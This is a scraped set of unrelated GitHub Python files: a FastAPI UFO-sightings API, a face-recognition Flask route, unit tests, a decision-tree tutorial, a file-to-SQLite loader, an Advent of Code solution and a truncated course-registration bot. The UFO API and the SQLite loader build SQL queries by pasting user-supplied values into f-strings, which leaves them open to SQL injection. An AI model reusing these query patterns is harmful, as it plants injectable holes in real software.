self.conn.cursor()\n self.cur.execute(\"SET search_path TO \" + self.conn_config[\"schema\"])\n\n return self.cur\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n # some logic to commit/rollback\n\n self.conn.commit()\n self.conn.close()\n\n\ndescription = \"\"\"🚀\n## Are you having a road trip with your family?\n### Why not check out some UFO sighting on your tour!!!!\n\"\"\"\n\napp = FastAPI(\n title=\"UFO Sighting near you\",\n description=description,\n version=\"0.0.1\",\n terms_of_service=\"http://killzonmbieswith.us/worldleterms/\",\n contact={\n \"name\": \"Deangelo Brown\",\n \"url\": \"https://github.com/Deangelo1218/5443-Spatial-DB-Brown\",\n \"email\": \"deangelobrown808@gmail.com\",\n },\n license_info={\n \"name\": \"Postgres\",\n \"url\": \"https://www.postgresql.org/?&\",\n },\n)\n\n\"\"\"\n _____ _____ _____ _ _ ______ ____\n /\\ | __ \\_ _| |_ _| \\ | | ____/ __ \\\n / \\ | |__) || | | | | \\| | |__ | | | |\n / /\\ \\ | ___/ | | | | | . ` | __|| | | |\n / ____ \\| | _| |_ _| |_| |\\ | | | |__| |\n /_/ \\_\\_| |_____| |_____|_| \\_|_| \\____/\n\n\"\"\"\n\n\n@app.get(\"/\")\nasync def docs_redirect():\n \"\"\"Api's base route that displays the information created above in the ApiInfo section.\"\"\"\n return RedirectResponse(url=\"/docs\")\n\n\n@app.get(\"/home\")\nasync def root(request: Request):\n return {\n #\"Listing of all routes\": request.url_for(\"routes\"),\n \"URL for 'findAll'\": request.url_for(\"all\"),\n \"URL for ''findCity'\": request.url_for(\"findCity\", **{\"city\": \"Louisville\"}),\n \"URL for ''findState'\": request.url_for(\"findState\", **{\"state\": \"TX\"}),\n #\"URL for ''closest' pass params from url\": request.url_for(\"closest\":\"?lng=-98&lat=33\"),\n }\n\n##Find all Route\n\n@app.get(\"/findAll\", name=\"all\" )\nasync def ufo():\n sql = \"select * from aliens ORDER BY id OFFSET 100;\"\n\n with DatabaseCursor(\".config.json\") as cur:\n cur.execute(sql)\n answer = cur.fetchall()\n response = {\n \"Question\": 'Where are all the ufo sightings?',\n \"Query\": sql,\n \"Results\": answer\n }\n\n return response\n\n\n##Select one ufo sighting e.g = 'Waynesboro'\n##Find a single ufo sighting for city\n\n@app.get(\"/findCity/{city}\")\nasync def findCity(city):\n sql = f\"\"\"SELECT * from aliens \n WHERE city = '{city}'\"\"\"\n\n with DatabaseCursor(\".config.json\") as cur:\n cur.execute(sql)\n answer = cur.fetchone()\n response = {\n \"Question\": 'Where can I find just one ufo sighting in my city?',\n \"Query\": sql,\n \"Results\": answer\n }\n return response\n\n#Find single ufo sighting for state\n\n@app.get(\"/findState/{state}\")\nasync def findState(state):\n sql = f\"\"\"SELECT * from aliens \n WHERE state = '{state}'\"\"\"\n\n with DatabaseCursor(\".config.json\") as cur:\n cur.execute(sql)\n answer = cur.fetchone()\n response = {\n \"Question\": 'Where can I find just one ufo sighting in my State?',\n \"Query\": sql,\n \"Results\": answer\n }\n return response\n\n#'http://127.0.0.1:8080/closest/?ufo=Waynesboro' \n\n#SELECT * FROM ufo WHERE lat = 38.0652286 AND lng = -78.90588756;\n\n\n#Pass in latitude and longitude and search for all locations \n\n@app.get(\"/closest/\")\nasync def findClosest(lat: float , lng: float):\n sql = f\"\"\"SELECT *, ST_Distance('SRID=4326;POINT({lng} {lat})'::geometry, location) AS distance\n FROM aliens\n ORDER BY distance LIMIT 1;\"\"\"\n\n with DatabaseCursor(\".config.json\") as cur:\n cur.execute(sql)\n answer = cur.fetchall()\n response = {\n \"Question\": 'Where can I find all the neighboring ufo sightings from my given location?',\n \"Query\": sql,\n \"Results\": answer\n }\n return response\n\n\nif __name__ == \"__main__\":\n uvicorn.run(\"api:app\", host=\"127.0.0.1\", port=8080, log_level=\"debug\", reload=True)","repo_name":"Deangelo1218/5443-Spatial-DB-Brown","sub_path":"Project01/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":5185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27691184911","text":"import matplotlib.pyplot as plt\nimport random\n\nmygraph = {}\nmygraph[\"Boston\"] = [\"Albany\", \"New York\", \"Nashua\", \"Portland\"];\nmygraph[\"Bangor\"] = [\"Portland\"]\nmygraph[\"Nashua\"] = [\"Boston\", \"Portland\"]\nmygraph[\"Portland\"] = [\"Bangor\", \"Boston\", \"Nashua\"]\nmygraph[\"Albany\"] = [\"Boston\", \"New York\"]\nmygraph[\"New York\"] = [\"Albany\", \"Baltimore\", \"Boston\", \"Philadelphia\", \"Washington\"]\nmygraph[\"Baltimore\"] = [\"New York\", \"Philadelphia\", \"Washington\"]\nmygraph[\"Philadelphia\"] = [\"New York\", \"Pittsburgh\", \"Baltimore\"]\nmygraph[\"Pittsburgh\"] = [\"Philadelphia\"]\nmygraph[\"Washington\"] = [\"New York\", \"Baltimore\"]\n\nvisited = []\nstarting = \"Boston\"\nfor i in range(1000):\n visited.append(starting);\n starting = random.choice(mygraph[starting])\n\n#print(visited)\n\nmycount = {}\n\nfor i in visited:\n if i in mycount.keys():\n mycount[i] = mycount[i] + 1\n else:\n mycount[i] = 1\n\nfor k in mycount.keys():\n print(k, mycount[k])\n\n\ncities = [\"Boston\", \"New York\", \"Nashua\", \"Albany\", \"Washington\", \"Philadelphia\", \"Portland\", \"Baltimore\", \"Pittsburgh\", \"Bangor\"]\ncitiesx = [1, 2, 2, 2, 3, 3, 3, 4, 4, 4]\ncitiesy = [2, 3, 1, 4, 3, 2, 1, 4, 2, 1]\ncitiessize = []\nfor i in range(len(cities)):\n citiessize.append(mycount[cities[i]] * 10)\nprint(citiessize)\n\nplt.scatter(citiesx, citiesy, s=citiessize)\n\nfor x,y,z in zip(citiesx,citiesy,cities):\n\n # this method is called for each point\n plt.annotate(z, # this is the text\n (x,y), # this is the point to label\n textcoords=\"offset points\", # how to position the text\n xytext=(0,10), # distance from text to points (x,y)\n ha='center') # horizontal alignment can be left, right or center\n\n\nfor i in range(len(cities)):\n print(cities[i], end=\" \")\n for j in mygraph[cities[i]]:\n idx = cities.index(j)\n print(cities[idx], end=\" \")\n print(citiesx[i], citiesy[i], citiesx[idx], citiesy[idx])\n plt.plot([citiesx[i], citiesx[idx]], [citiesy[i], citiesy[idx]])\n\nplt.show()\n","repo_name":"BC-CSCI-1102-S20-MWF12/example_code","sub_path":"week15/randomwalk.py","file_name":"randomwalk.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40737504616","text":"from flask import Flask, render_template, jsonify, request, redirect\nfrom flask_cors import CORS\nimport sqlite3 as sql\nimport face_recognition\n\napp = Flask(__name__)\n\nCORS(app)\n\n@app.route(\"/\")\ndef index():\n return \"This is root!!!!\"\n\n\n@app.route('/test', methods = ['GET'])\ndef test_picture():\n with sql.connect('test.db') as conn:\n cur = conn.cursor()\n cur.execute('select * from Pictures where id = 1')\n me = cur.fetchall()[0][1]\n with open('me.jpg', 'wb') as f:\n f.write(me)\n\n picture_of_me = face_recognition.load_image_file(\"me.jpg\")\n my_face_encoding = face_recognition.face_encodings(picture_of_me)[0]\n\n cur.execute('select * from Pictures where id = 2')\n unknown = cur.fetchall()[0][1]\n with open('unknown.jpg', 'wb') as f:\n f.write(unknown)\n\n unknown_picture = face_recognition.load_image_file(\"unknown.jpg\")\n unknown_face_encoding = face_recognition.face_encodings(unknown_picture)[0]\n\n results = face_recognition.compare_faces([my_face_encoding], unknown_face_encoding)\n\n if results[0] == True:\n print(\"It's a picture of me!\")\n else:\n print(\"It's not a picture of me!\")\n\n\n return jsonify({'1': 1})\n\nif __name__ == '__main__':\n app.run()\n # app.run(host='medicine_balagnese.com', port=5000, debug=True)\n # app.run(host='192.168.0.255', port=88, debug=True)\n","repo_name":"masha-balagnese/med","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29341244301","text":"\"\"\"\nHelper for assembling a range or 'alignment' scan\n:author: Kay Kasemir\n\"\"\"\nfrom scan.commands.command import Command\nfrom scan.commands.delay import Delay\nfrom scan.commands.log import Log\nfrom scan.commands.script import Script\nfrom scan.util.scan_settings import SettingsBasedSet, SettingsBasedLoop, SettingsBasedWait\n\nclass AlignmentScan(object):\n \"\"\"Assemble commands for 'alignment' scan.\n \n :param device: Device to move \n :param value_start: Initial position \n :param value_end: Final position, inclusive\n :param value_step: Step size \n :param condition_device: What to wait for: \"seconds\", pcharge device, beam monitor device\n :param condition_value: Value that condition_device should reach\n :param log: device to log, usually some neutron counts\n :param find_command: Script command to call to locate peak\n :param normalize: Normalize logged values by condition?\n :param prefix: Prefix of PVs used for results\n :param pre: Command or list of commands executed at the start of scan.\n :param post: Command or list of commands executed at the end of the scan.\n :param start: Command or list of commands executed to start each step.\n :param stop: Command or list of commands executed at the end of each step.\n :param log_always: Optional list of device names that should be logged. \n \"\"\"\n def __init__(self, device, value_start, value_end, value_step,\n condition_device, condition_value,\n log,\n find_command=None,\n normalize=False,\n prefix = 'Demo:CS:Scan:Fit',\n pre=None, post=None, start=None, stop=None,\n log_always=[]):\n self.device = device\n self.value_start = value_start\n self.value_end = value_end\n self.value_step = value_step\n self.condition_device = condition_device\n self.condition_value = condition_value\n self.log = log\n self.find_command = find_command\n self.normalize = normalize\n self.prefix = prefix\n self.pre = self.__makeList(pre)\n self.post = self.__makeList(post)\n self.start = self.__makeList(start)\n self.stop = self.__makeList(stop)\n self.log_always=log_always\n\n\n def __makeList(self, cmd):\n if isinstance(cmd, Command):\n return [ cmd ]\n if cmd:\n return list(cmd)\n return None\n\n\n def createScan(self):\n \"\"\"Create scan.\n \n :return: List of commands.\n \"\"\"\n \n # Assemble commands from 'inside' out, starting with the innermost wait and log\n \n # Older scan ScriptCommand didn't allow empty arguments, so use \"-\"\n norm_device = \"-\"\n norm_value = \"1\"\n \n devices = set(self.log_always)\n devices.add(self.device)\n devices.add(self.log)\n \n # Assemble commands for loop body\n loop_body = []\n if self.start:\n loop_body += self.start\n \n if self.condition_device == \"seconds\":\n loop_body.append(Delay(self.condition_value))\n else:\n loop_body.append(SettingsBasedWait(self.condition_device, self.condition_value))\n devices.add(self.condition_device)\n if self.normalize:\n norm_device = self.condition_device\n norm_value = str(self.condition_value)\n \n if self.stop:\n loop_body += self.stop\n \n loop_body += Log(list(devices)),\n loop_body.append(Script('WriteDataToPV', [ self.device, '%s:Data:X' % self.prefix ]))\n loop_body.append(Script('WriteDataToPV', [ self.log, '%s:Data:Y' % self.prefix, norm_device, norm_value ]))\n\n commands = []\n commands.append(SettingsBasedSet('%s:Height' % self.prefix, 0))\n if self.pre:\n commands += self.pre\n commands.append(SettingsBasedLoop(self.device, self.value_start, self.value_end, self.value_step, loop_body))\n if self.post:\n commands += self.post\n \n if self.find_command:\n commands.append(Script(self.find_command,\n [ self.device, self.log, norm_device, norm_value,\n '%s:Pos' % self.prefix,\n '%s:Height' % self.prefix,\n '%s:Width' % self.prefix\n ]))\n \n return commands\n","repo_name":"PythonScanClient/PyScanClient","sub_path":"scan/alignment.py","file_name":"alignment.py","file_ext":"py","file_size_in_byte":4552,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"33767709299","text":"#!/usr/bin/env python\n\nimport unittest\nimport os, os.path, sys, shutil, time, subprocess\nsys.path.insert(0, os.path.abspath('./smush'))\nfrom smush import Smush\n\n# import logging\n# project_name = 'test_smush'\n# logger = logging.getLogger(project_name)\n# formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')\n# logpath = os.path.expanduser('~/Library/Logs/%s.log' % (project_name))\n# if os.path.isfile(logpath) == False:\n# open(logpath, 'w').close()\n# mylog = logging.FileHandler(logpath)\n# mylog.setFormatter(formatter)\n# logger.addHandler(mylog)\n# logger.setLevel(logging.INFO)\n\nscript_path = os.path.join(os.getcwd(), __file__)\nscript_dir = os.path.dirname(script_path)\nmaterials_dir = os.path.join(script_dir, 'materials')\nfilename_gif = 'exam_gif_to_png.gif'\n\nclass TestSetup(object):\n working_dir = ''\n working_dirname = ''\n working_files = ''\n\n def setUp(self):\n # logger.info('Setup')\n # logger.info(materials_dir)\n # logger.info(os.listdir(materials_dir))\n self.working_dirname = '%s' % time.time()\n self.working_dir = os.path.join(script_dir, self.working_dirname)\n shutil.copytree(materials_dir, self.working_dir)\n # logger.info(os.listdir(materials_dir))\n # logger.info('DIR: %s' % self.working_dir)\n files = subprocess.check_output(\n ' '.join(['cd', self.working_dir, '&&', 'find', '.', '-type', 'f', '-regex', '\".*[^DS_Store]\"']),\n shell=True\n )\n self.working_files = str.splitlines(files);\n i = 0\n for each_file in self.working_files:\n self.working_files[i] = each_file[2:]\n i = i + 1\n\n def tearDown(self):\n # logger.info('teardown')\n if os.path.isdir(self.working_dir) == True:\n shutil.rmtree(self.working_dir)\n self.working_dir = ''\n\nclass SmushTestSuite(TestSetup, unittest.TestCase):\n def test_smush_file (self):\n smushing_path = os.path.join(self.working_dir, filename_gif)\n smush = Smush(strip_jpg_meta=False, list_only=False, quiet=True, exclude='.bzr,.git,.hg,.svn,.DS_Store')\n smush.process(smushing_path, False)\n\n for each_file in self.working_files:\n if each_file == filename_gif:\n src_size = os.path.getsize(os.path.join(materials_dir, each_file))\n dest_size = os.path.getsize(smushing_path)\n self.assertTrue(src_size > dest_size)\n else:\n src_size = os.path.getsize(os.path.join(materials_dir, each_file))\n dest_size = os.path.getsize(os.path.join(self.working_dir, each_file))\n self.assertTrue(src_size == dest_size)\n return True\n\n def test_smush_dir_not_recursive (self):\n smush = Smush(strip_jpg_meta=False, list_only=False, quiet=True, exclude='.bzr,.git,.hg,.svn,.DS_Store')\n smush.process(self.working_dir, False)\n\n for each_file in self.working_files:\n if each_file == filename_gif:\n src_size = os.path.getsize(os.path.join(materials_dir, each_file))\n dest_size = os.path.getsize(os.path.join(self.working_dir, each_file))\n self.assertTrue(src_size > dest_size)\n else:\n src_size = os.path.getsize(os.path.join(materials_dir, each_file))\n dest_size = os.path.getsize(os.path.join(self.working_dir, each_file))\n self.assertTrue(src_size == dest_size)\n return True\n\n def test_smush_dir_recursive (self):\n smush = Smush(strip_jpg_meta=False, list_only=False, quiet=True, exclude='.bzr,.git,.hg,.svn,.DS_Store')\n smush.process(self.working_dir, True)\n\n for each_file in self.working_files:\n src_size = os.path.getsize(os.path.join(materials_dir, each_file))\n dest_size = os.path.getsize(os.path.join(self.working_dir, each_file))\n self.assertTrue(src_size > dest_size)\n return True\n\nif __name__ == '__main__':\n # logger.info('%s started at %d' % (project_name, time.time()))\n unittest.main()\n","repo_name":"thebeansgroup/smush.py","sub_path":"tests/test_smush.py","file_name":"test_smush.py","file_ext":"py","file_size_in_byte":4089,"program_lang":"python","lang":"en","doc_type":"code","stars":158,"dataset":"github-code","pt":"78"} +{"seq_id":"8012274579","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@Created on 2018/5/31 15:37\n\n@author: ZhifengFang\n\"\"\"\nimport numpy as np\n\n\ndef createDataSet():\n dataSet = [[1, 1, 'yes'],\n [1, 1, 'yes'],\n [1, 0, 'no'],\n [0, 1, 'no'],\n [0, 1, 'no']]\n labels = ['no surfacing', 'flippers']\n # change to discrete values\n return dataSet, labels\n\n\nfrom math import log\n\n\n# 计算该数据集的香农熵\ndef calcShannonEnt(dataSet):\n labelCounts = {}\n for data in dataSet: # 计算数据集中每个标签的总个数\n label = data[-1]\n labelCounts[label] = labelCounts.get(label, 0) + 1\n shannonEnt = 0\n for key in labelCounts.keys():\n prob = float(labelCounts[key]) / len(dataSet) # 公式\n shannonEnt -= prob * log(prob, 2)\n return shannonEnt\n\n\ndataSet, labels = createDataSet()\n\n\n# print(calcShannonEnt(dataSet))\n# 划分数据集,剔除axis列中和value不相同的数据(行),并删除axis列的值\ndef splitDataSet(dataSet, axis, value):\n resultSet = []\n for data in dataSet:\n if data[axis] == value:\n newData = data[:axis] + data[axis + 1:]\n resultSet.append(newData)\n return resultSet\n\n\n# 选择最好的划分数据特征\ndef chooseBestFeatureToSplit(dataSet):\n numFeature = len(dataSet[0]) - 1\n baseEntropy = calcShannonEnt(dataSet)\n bestInfoGain = 0.0\n bestFeature = -1\n for i in range(numFeature): # 循环特征,为每个特征计算熵差,熵差最大的为\n listFeature = [example[i] for example in dataSet]\n features = set(listFeature)\n newEntropy = 0\n for feature in features:\n newDataSet = splitDataSet(dataSet, i, feature)\n newEntropy += len(newDataSet) / float(len(dataSet)) * calcShannonEnt(newDataSet)\n newEntropy = baseEntropy - newEntropy\n if newEntropy > bestInfoGain:\n bestInfoGain = newEntropy\n bestFeature = i\n return bestFeature\n\n\ndef majorityCnt(classList):\n classCount = {}\n for vote in classList:\n if vote not in classCount.keys(): classCount[vote] = 0\n classCount[vote] += 1\n sortedClassCount = sorted(classCount.items(), key=lambda x: x[1], reverse=True)\n return sortedClassCount[0][0]\n\n\n# 构造决策树\ndef createTree(dataSet, labels):\n classList = [example[0] for example in dataSet]\n if classList.count(classList[0]) == len(classList):\n return classList[0]\n if len(dataSet[0]) == 1:\n return majorityCnt(classList)\n bestFeture = chooseBestFeatureToSplit(dataSet)\n bestLabel = labels[bestFeture]\n myTree = {bestLabel: {}}\n del (labels[bestFeture])\n featValues = [example[bestFeture] for example in dataSet]\n uniqueVals = set(featValues)\n for value in uniqueVals:\n subLabels = labels[:]\n myTree[bestLabel][value] = createTree(splitDataSet(dataSet, bestFeture, value), subLabels)\n return myTree\n\n\nmyTree = createTree(dataSet, labels)\nprint(myTree.keys())\n\n\n# 决策树分类\ndef classify(inputTree, featLabels, testVec):\n firstStr = list(inputTree.keys())[0]\n secondDict = inputTree[firstStr]\n featIndex = featLabels.index(firstStr)\n key = testVec[featIndex]\n valueOfFeat = secondDict[key]\n if isinstance(valueOfFeat, dict):\n classLabel = classify(valueOfFeat, featLabels, testVec)\n else:\n classLabel = valueOfFeat\n return classLabel\n \n\nprint(classify(myTree, ['no surfacing', 'flippers'], [1, 0]))\n\n\n# 保存模型\ndef storeTree(inputTree, filename):\n import pickle\n fw = open(filename, 'wb')\n pickle.dump(inputTree, fw)\n fw.close()\n\n\n# 加载模型\ndef grabTree(filename):\n import pickle\n fr = open(filename, 'rb')\n return pickle.load(fr)\n\n\n","repo_name":"NSGUF/PythonLeaning","sub_path":"Machine-Learning/in-action/tree/tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":3764,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"36011787875","text":"import os\nimport pandas as pd\nfrom src.models.data_model import Person\n\n\ndef read_file(app_directory, files_directory, file):\n file_name = os.path.join(app_directory, files_directory)\n file_name = os.path.join(file_name, file)\n # print(\"read_file function:\")\n extension = file_name.split('.')[-1]\n # print(extension)\n if(extension == 'txt'):\n # print(\"If txt\")\n return read_txt(file_name)\n elif(extension == 'xlsx'):\n # print(\"If xlsx\")\n return read_excel(file_name)\n elif(extension == 'csv'):\n # print(\"If csv\")\n return read_csv(file_name)\n elif(extension == 'json'):\n # print(\"if json\")\n return read_json(file_name)\n\n\ndef read_txt(file_name):\n data_text = []\n with open(file_name)as f:\n for line in f:\n row = line.split(',')\n p = Person(row[0], row[1], row[2])\n data_text.append(p)\n return data_text\n\n\ndef read_csv(file_name):\n data_csv = []\n # print(\"read_csv function\")\n\n def get_data(row):\n data_csv.append(Person(row.iloc[0], row.iloc[1], row.iloc[2]))\n\n # return Person(a, b, c)\n df = pd.read_csv(file_name)\n # print(df)\n df.apply(lambda row: get_data(row), axis=1)\n return data_csv\n\n\ndef read_excel(file_name):\n data_excel = []\n # print(\"read_excel function\")\n\n def get_data(row):\n data_excel.append(Person(row.iloc[0], row.iloc[1], row.iloc[2]))\n df = pd.read_excel(file_name)\n df.apply(lambda row: get_data(row))\n return data_excel\n\n\ndef read_json(file_name):\n data_json = []\n # print(\"read_json function\")\n\n def get_data(row):\n data_json.append(Person(row.iloc[0], row.iloc[1], row.iloc[2]))\n df = pd.read_json(file_name, orient='records')\n df.apply(lambda row: get_data(row))\n # print(df)\n return data_json\n\n\ndef append_to_db(con, data):\n cur = con.cursor()\n try:\n cur.execute('''CREATE TABLE data\n (FirstName text, LastName text, Age text)''')\n except Exception as e:\n print(e)\n for item in data:\n # print(type(item))\n fname = item.first_name\n lname = item.last_name\n age = item.age\n querystring = F\"INSERT INTO data VALUES ('{fname}','{lname}','{age}')\"\n # print(querystring)\n cur.execute(querystring)\n cur.close()\n\n\ndef show_data(con):\n cur = con.cursor()\n cur.execute('SELECT COUNT(*) FROM data')\n print(cur.fetchall())\n\n\ndef remove_file(app_directory, files_directory, file):\n file_name = os.path.join(app_directory, files_directory)\n file_name = os.path.join(file_name, file)\n os.remove(file_name)\n","repo_name":"rahimjangi/python_csv_json_excel_reader","sub_path":"src/helpers/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36408032939","text":"\"\"\"Performing hyperparameter tuning using least squares (and its gradient descent variants).\"\"\"\nimport numpy as np\n\nfrom scripts.proj1_helpers import load_csv_data\nfrom scripts.implementations import least_squares, least_squares_GD, least_squares_SGD, cross_validation\nfrom scripts.data_preprocessing import build_k_indices\n\ny_tr, x_tr, ids_tr = load_csv_data(\"data/train.csv\")\n\nseed = 1\nk_fold = 5\nk_indices = build_k_indices(y_tr, k_fold, seed)\n\n# method mode: can be ls, ls_gd, and ls_sgd\nmode = 'ls_GD'\ndegrees = np.arange(2, 13)\ngammas = [1e-3, 5e-3, 1e-2, 5e-2, 1e-1]\nnan_mode = 'median'\nsplit_mode = 'jet_groups'\n\nassert mode == 'ls' or mode == 'ls_SGD' or mode == 'ls_GD', \"Please enter a valid mode ('ls_GD', 'ls_SGD', 'ls')\"\n\ncount = 0\n\nif mode != 'ls':\n accuracy_ranking_te = np.zeros((len(gammas), len(degrees)))\n accuracy_ranking_tr = np.zeros((len(gammas), len(degrees)))\n for h, gamma in enumerate(gammas):\n for i, degree in enumerate(degrees):\n count += 1\n temp_acc_te = []\n temp_acc_tr = []\n for k in range(k_fold):\n if mode == 'ls_GD':\n acc_tr, acc_te, loss_tr, loss_te = cross_validation(y_tr, x_tr, least_squares_GD, k_indices, k,\n degree, split_mode=split_mode,\n binary_mode='default', gamma=gamma, w0=None,\n max_iters=100, nan_mode=nan_mode)\n elif mode == 'ls_SGD':\n acc_tr, acc_te, loss_tr, loss_te = cross_validation(y_tr, x_tr, least_squares_SGD, k_indices, k,\n degree, split_mode=split_mode,\n binary_mode='default', gamma=gamma, w0=None,\n max_iters=2, nan_mode=nan_mode)\n\n temp_acc_te.append(acc_te)\n temp_acc_tr.append(acc_tr)\n\n print(f'#: {count}/{len(gammas) * len(degrees)}, gamma: {gamma}, degree: {degree}, '\n f'mean test accuracy = {np.mean(temp_acc_te)}, mean train accuracy = {np.mean(temp_acc_tr)}')\n\n accuracy_ranking_te[h, i] = np.mean(temp_acc_te)\n accuracy_ranking_tr[h, i] = np.mean(temp_acc_tr)\n\nelif mode == 'ls':\n\n accuracy_ranking_conf_interval = np.zeros(len(degrees))\n accuracy_ranking_tr = np.zeros(len(degrees))\n accuracy_ranking_te = np.zeros(len(degrees))\n\n for i, degree in enumerate(degrees):\n count += 1\n temp_acc_te = []\n temp_acc_tr = []\n for k in range(k_fold):\n acc_tr, acc_te, loss_tr, loss_te = cross_validation(y_tr, x_tr, least_squares, k_indices, k, degree,\n split_mode=split_mode, binary_mode='default',\n nan_mode=nan_mode)\n\n temp_acc_te.append(acc_te)\n temp_acc_tr.append(acc_tr)\n\n print(f'#: {count} / {len(degrees)}, degree: {degree}, mean test accuracy = {np.mean(temp_acc_te)},'\n f' mean train accuracy = {np.mean(temp_acc_tr)}')\n\n accuracy_ranking_conf_interval[i] = np.mean(temp_acc_te)-2*np.std(temp_acc_te)\n accuracy_ranking_te[i] = np.mean(temp_acc_te)\n accuracy_ranking_tr[i] = np.mean(temp_acc_tr)\n","repo_name":"maximocrv/higgs_boson_challenge","sub_path":"scripts/least_squares.py","file_name":"least_squares.py","file_ext":"py","file_size_in_byte":3548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25274276341","text":"# from collections import deque\nfrom math import floor, log\n\n\nRUN_TEST = False\nTEST_SOLUTION = 165\nTEST_INPUT_FILE = 'test_input_day_14.txt'\nINPUT_FILE = 'input_day_14.txt'\n\n\nVALUE_LEN = 36\n\nARGS = [VALUE_LEN]\n\n\ndef main_part1(input_file, value_len):\n with open(input_file) as file:\n program = list(map(lambda line: line.rstrip(), file.readlines()))\n\n mem_dict = handle_program(program, value_len)\n solution = sum(mem_dict.values())\n return solution\n\n\ndef handle_program(program, value_len):\n mask = None\n mem_dict = dict()\n for cmd in program:\n cmd_type, result = handle_line(cmd, mem_dict, mask, value_len)\n if cmd_type == 'mask':\n mask = result\n return mem_dict\n\n\ndef handle_line(cmd, mem_dict, mask, value_len):\n \"\"\"\n\n :param cmd: Command to interpret and execute\n :param mem_dict: Memory mapping. Will be modified in-place, if at all.\n :param mask: Mask to use when modifying mem_dict.\n :return: Command type ('mask' or 'mem'); mem_dict or new mask, depending on the command\n \"\"\"\n if cmd.startswith('mask = '):\n # return new mask\n return 'mask', get_line_value(cmd)\n\n close_bracket_ind = cmd.find(']')\n address = cmd[4:close_bracket_ind]\n num = int(get_line_value(cmd))\n masked_num = mask_num(num, mask, value_len)\n mem_dict[address] = masked_num\n return 'mem', mem_dict\n\n\ndef mask_num(num, mask, value_len):\n bin_list = dec_to_bin_list(num, value_len)\n z = zip(mask, bin_list)\n masked_num_list = list(map(lambda tup: int(tup[0]) if tup[0] != 'X' else tup[1], z))\n return bin_list_to_dec(masked_num_list)\n\n\ndef get_line_value(line):\n return line.split(' = ')[1]\n\n\ndef dec_to_bin_list(num, min_length=1):\n # Why not implement it ourselves... :)\n if num == 0:\n return repeat(0, min_length)\n\n bin_list = []\n max_power_of_2 = get_max_power_of(num, 2)\n for power in reversed(range(max_power_of_2 + 1)):\n if get_max_power_of(num) == power:\n bin_list.append(1)\n num -= 2 ** power\n else:\n bin_list.append(0)\n bin_list = repeat(0, min_length - len(bin_list)) + bin_list\n return bin_list\n\n\ndef bin_list_to_dec(bin_list):\n len_list = len(bin_list)\n return sum(map(lambda tup: tup[1] * 2 ** (len_list - 1 - tup[0]), enumerate(bin_list)))\n\n\ndef get_max_power_of(num, base=2):\n \"\"\"\n\n :param num:\n :param base:\n :return: Greatest power of base which is <= address\n \"\"\"\n if num <= 0:\n return float('-inf')\n return floor(log(num, base))\n\n\ndef repeat(value, r=2):\n return [value for _ in range(r)]\n\n\nif __name__ == '__main__':\n if RUN_TEST:\n solution = main_part1(TEST_INPUT_FILE, *ARGS)\n print(solution)\n assert (TEST_SOLUTION == solution)\n else:\n solution = main_part1(INPUT_FILE, *ARGS)\n print(solution)\n","repo_name":"MischaDy/PyAdventOfCode2020","sub_path":"day 14/day14_part1.py","file_name":"day14_part1.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"29080873820","text":"import requests\nimport time\nfrom bs4 import BeautifulSoup\nimport sys\n\n\nclass Config:\n username = \"your_email@email.com\"\n password = \"your_password\"\n courses = { \n # \"course_code\":\"dept_id\" \n # like: \"156560\": \"964\"\n }\n \n \nclass Course:\n sep_host = \"http://sep.ucas.ac.cn/\"\n url_login = sep_host + \"slogin\"\n app_pick = sep_host + \"/portal/site/226/821\"\n course_host = \"http://jwxk.ucas.ac.cn\"\n course_pick_page = course_host + \"/courseManage/main\"\n course_save = '/courseManage/saveCourse?s='\n lessons_page = course_host + \"/courseManage/selectCourse?s=\"\n\n\ndef get_cur_time():\n return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))\n\n\ndef pick_course(session):\n page_pick = session.get(Course.course_pick_page)\n soup = BeautifulSoup(page_pick.text, features=\"html.parser\")\n pick_url = soup.find(\"form\", id=\"regfrm2\")[\"action\"]\n\n identity = pick_url.split(\"?s=\")[1]\n count = 0\n for c_id, dept_id in Config.courses.items():\n if c_id in page_pick.text:\n count += 1\n print(get_cur_time(), \"【课程号】:\" + c_id + \" 已选!\")\n continue\n else:\n print(get_cur_time(), \"开始抢课\" + \"【课程号】:\" + c_id)\n save_url = Course.course_host + Course.course_save + identity\n data = {\n 'deptIds': dept_id,\n 'sb': \"0\"\n }\n lessons_page = session.post(Course.lessons_page+identity, data)\n soup = BeautifulSoup(lessons_page.text, features=\"html.parser\")\n code_element = soup.find(\"a\", href=\"/course/courseplan/\"+c_id).find(\"span\")[\"id\"]\n data = {\n 'deptIds': dept_id,\n 'sids': str(code_element).replace(\"courseCode_\", \"\")\n }\n\n r_save = session.post(save_url, data)\n \n\n soup = BeautifulSoup(r_save.text, features=\"html.parser\")\n print(get_cur_time(), \"课程号:\"+c_id, soup.find(\"label\", id=\"loginError\").text.strip())\n\n if count == len(Config.courses.items()):\n print(get_cur_time(), \"所有课程都已经选上\")\n sys.exit(0)\n\n\ndef open_pick_page(session):\n print(get_cur_time(), \"正在打开选课主页\")\n app_pick = session.get(Course.app_pick)\n if \"Identity\" in app_pick.text:\n url_redict = app_pick.text.split(\"window.location.href='\")[1].split(\"'\")[0]\n print(get_cur_time(), \"正在跳转至:\" + url_redict)\n session.get(url_redict)\n else:\n print(get_cur_time(), \"跳转选课网站时失败\")\n\n return session\n\n\ndef login():\n session = 